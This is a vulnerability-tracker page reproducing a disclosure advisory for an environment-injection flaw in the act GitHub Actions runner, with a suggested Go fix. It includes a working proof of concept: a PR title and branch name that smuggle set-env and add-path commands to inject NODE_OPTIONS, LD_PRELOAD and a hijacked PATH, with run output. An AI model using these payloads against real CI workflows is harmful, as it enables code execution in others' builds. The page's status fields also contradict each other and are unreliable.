Zero Day MonitorZDM
DashboardVulnerabilitiesTrendingZero-DaysNews
Login
ImpressumPrivacy Policy
Zero Day Monitor © 2026
2138 articles · 105948 vulns · 36/41 feeds (7d)
← Back to list
—
CVE-2026-34041EXPLOITEDPATCHED
go · github.com/nektos/act

act: Unrestricted set-env and add-path command processing enables environment injection

Description

## Summary act unconditionally processes the deprecated `::set-env::` and `::add-path::` workflow commands, which GitHub Actions disabled in October 2020 (CVE-2020-15228, GHSA-mfwh-5m23-j46w) due to environment injection risks. When a workflow step echoes untrusted data to stdout, an attacker can inject these commands to set arbitrary environment variables or modify the PATH for all subsequent steps in the job. This makes `act` strictly less secure than GitHub Actions for the same workflow file. ## Vulnerable Code **`pkg/runner/command.go`, lines 52-58:** ```go switch command { case "set-env": rc.setEnv(ctx, kvPairs, arg) case "set-output": rc.setOutput(ctx, kvPairs, arg) case "add-path": rc.addPath(ctx, arg) ``` There is no check for the `ACTIONS_ALLOW_UNSECURE_COMMANDS` environment variable. The string `ACTIONS_ALLOW_UNSECURE_COMMANDS` does not appear anywhere in the act codebase. On GitHub Actions, these commands are rejected unless `ACTIONS_ALLOW_UNSECURE_COMMANDS=true` is set: ``` Error: The `set-env` command is disabled. Please upgrade to using Environment Files or opt-in by setting ACTIONS_ALLOW_UNSECURE_COMMANDS=true. ``` ## PoC: Environment and PATH Injection via PR Title **Tested on:** act 0.2.84, Docker Desktop 29.1.2, macOS Darwin 24.5.0 **Step 1 — Create a workflow that logs PR metadata:** `.github/workflows/vuln.yml`: ```yaml name: Vulnerable Workflow on: [pull_request] jobs: build: runs-on: ubuntu-latest steps: - name: Log PR info run: | echo "Processing PR: ${{ github.event.pull_request.title }}" - name: Subsequent step - check environment run: | echo "=== Environment Injection Check ===" echo "NODE_OPTIONS=$NODE_OPTIONS" echo "EVIL_VAR=$EVIL_VAR" echo "PATH=$PATH" ``` **Step 2 — Create a malicious event payload:** `event.json`: ```json { "pull_request": { "title": "Fix typo\n::set-env name=EVIL_VAR::INJECTED_BY_ATTACKER\n::set-env name=NODE_OPTIONS::--require=/tmp/evil.js\n::add-path::/tmp/evil-bin", "number": 1, "head": { "ref": "fix-typo", "sha": "abc123" }, "base": { "ref": "main", "sha": "def456" } } } ``` **Step 3 — Run:** ```bash git init && git add -A && git commit -m "init" act pull_request -e event.json ``` **Result:** ``` [Vulnerable Workflow/build] | Processing PR: Fix typo [Vulnerable Workflow/build] ⚙ ::set-env:: EVIL_VAR=INJECTED_BY_ATTACKER [Vulnerable Workflow/build] ⚙ ::set-env:: NODE_OPTIONS=--require=/tmp/evil.js [Vulnerable Workflow/build] ⚙ ::add-path:: /tmp/evil-bin [Vulnerable Workflow/build] ✅ Success - Main Log PR info [Vulnerable Workflow/build] | === Environment Injection Check === [Vulnerable Workflow/build] | NODE_OPTIONS=--require=/tmp/evil.js [Vulnerable Workflow/build] | EVIL_VAR=INJECTED_BY_ATTACKER [Vulnerable Workflow/build] | PATH=/tmp/evil-bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin [Vulnerable Workflow/build] | EXPLOITED: EVIL_VAR was injected into this step! [Vulnerable Workflow/build] ✅ Success [Vulnerable Workflow/build] 🏁 Job succeeded ``` All three injections succeeded silently: - `EVIL_VAR=INJECTED_BY_ATTACKER` — arbitrary env var injected into subsequent step - `NODE_OPTIONS=--require=/tmp/evil.js` — Node.js code execution vector - `/tmp/evil-bin` prepended to PATH — command hijacking vector ## Attack Scenarios **Scenario 1: Malicious PR title/body.** An attacker opens a PR with `::set-env name=NODE_OPTIONS::--require=/tmp/evil.js` embedded in the title. If any workflow step echoes the title (common for build summaries, Slack notifications, changelog generation), the injection fires. On GitHub Actions this is blocked. On act, it succeeds. **Scenario 2: Malicious branch name.** `${{ github.head_ref }}` is attacker-controlled. A branch named `fix-typo%0A::set-env name=LD_PRELOAD::/tmp/evil.so` can inject `LD_PRELOAD`, which causes every subsequent dynamically-linked binary to load the attacker's shared library. **Scenario 3: Commit message injection.** If a step runs `git log --oneline` and the output flows to stdout, an attacker's commit message containing `::set-env::` commands will be processed. ## Impact - **Command injection** via env vars: `LD_PRELOAD`, `NODE_OPTIONS`, `PYTHONPATH`, `BASH_ENV`, `PERL5OPT` all enable arbitrary code execution - **PATH hijacking**: attacker-controlled directory prepended to PATH hijacks any subsequent command - **Cross-step escalation**: a step that merely logs untrusted data compromises all subsequent steps - **Supply chain risk**: workflows that are safe on GitHub Actions become exploitable when run locally with act — developers have a false sense of security ## Suggested Fix Add a check matching GitHub Actions' behavior: ```go case "set-env": if rc.Env["ACTIONS_ALLOW_UNSECURE_COMMANDS"] != "true" { logger.Errorf("The `set-env` command is disabled. Please upgrade to using Environment Files or opt-in by setting ACTIONS_ALLOW_UNSECURE_COMMANDS=true") return false } rc.setEnv(ctx, kvPairs, arg) case "add-path": if rc.Env["ACTIONS_ALLOW_UNSECURE_COMMANDS"] != "true" { logger.Errorf("The `add-path` command is disabled. Please upgrade to using Environment Files or opt-in by setting ACTIONS_ALLOW_UNSECURE_COMMANDS=true") return false } rc.addPath(ctx, arg) ``` This is a minimal, backwards-compatible fix — users who genuinely need these deprecated commands can opt in via `ACTIONS_ALLOW_UNSECURE_COMMANDS=true`, matching GitHub's approach. --- Written by Golan Myers

Affected Products

VendorProductVersions
gogithub.com/nektos/actgo/github.com/nektos/act: <= 0.2.85

References

  • https://github.com/advisories/GHSA-xmgr-9pqc-h5vw(advisory)
  • https://github.com/nektos/act/security/advisories/GHSA-xmgr-9pqc-h5vw
  • https://github.com/nektos/act/commit/0c739c8e39c41aa5a07665f732da9cab6df0097a
  • https://github.com/advisories/GHSA-mfwh-5m23-j46w
  • https://github.com/nektos/act/releases/tag/v0.2.86
  • https://github.com/advisories/GHSA-xmgr-9pqc-h5vw

Related News (1 articles)

Tier C
VulDB2d ago
CVE-2026-34041 | nektos act prior 0.2.86 set-env/add-path injection
→ No new info (linked only)
CISA KEV❌ No
Actively exploited✅ Yes
Patch availablenull
CWECWE-74
PublishedMar 27, 2026
Last enriched2d agov2
Tags
GHSA-xmgr-9pqc-h5vwgoCVE-2026-34041
Trending Score33
Source articles1
Independent1
Info Completeness8/14
Missing: cvss, epss, kev, exploit, iocs, mitre_attack

Community Vote

0
Login to vote
0 upvotes0 downvotes
No votes yet

Related CVEs (5)

CRITICALCVE-2026-33032EXP
Nginx UI: Unauthenticated MCP Endpoint Allows Remote Nginx Takeover
Trending: 71
MEDIUMCVE-2026-33027EXP
Nginx UI: Improper Path Validation Allows Recursive Deletion of the Nginx Configuration Directory
Trending: 59
HIGHCVE-2026-33028EXP
Nginx UI: Race Condition Leads to Persistent Data Corruption and Service Collapse
Trending: 54
HIGHCVE-2026-33030
Nginx UI: Unencrypted Storage of DNS API Tokens and ACME Private Keys
Trending: 27
MEDIUMCVE-2026-33029
Nginx UI: DoS via Negative Integer Input in Logrotate Interval
Trending: 23

Pin to Dashboard

Verification

State: unverified
Confidence: 0%

Vulnerability Timeline

CVE Published
Mar 27, 2026
Actively Exploited
Mar 27, 2026
Patch Available
Mar 27, 2026
Discovered by ZDM
Mar 27, 2026
Updated: severity, activelyExploited, patchAvailable, tags
Mar 28, 2026

Version History

v2
Last enriched 2d ago
v2Tier C2d ago

Updated severity to CRITICAL, marked exploit as not available, and added new CVE ID CVE-2026-34041.

severityactivelyExploitedpatchAvailabletags
via VulDB
v13d ago

Initial creation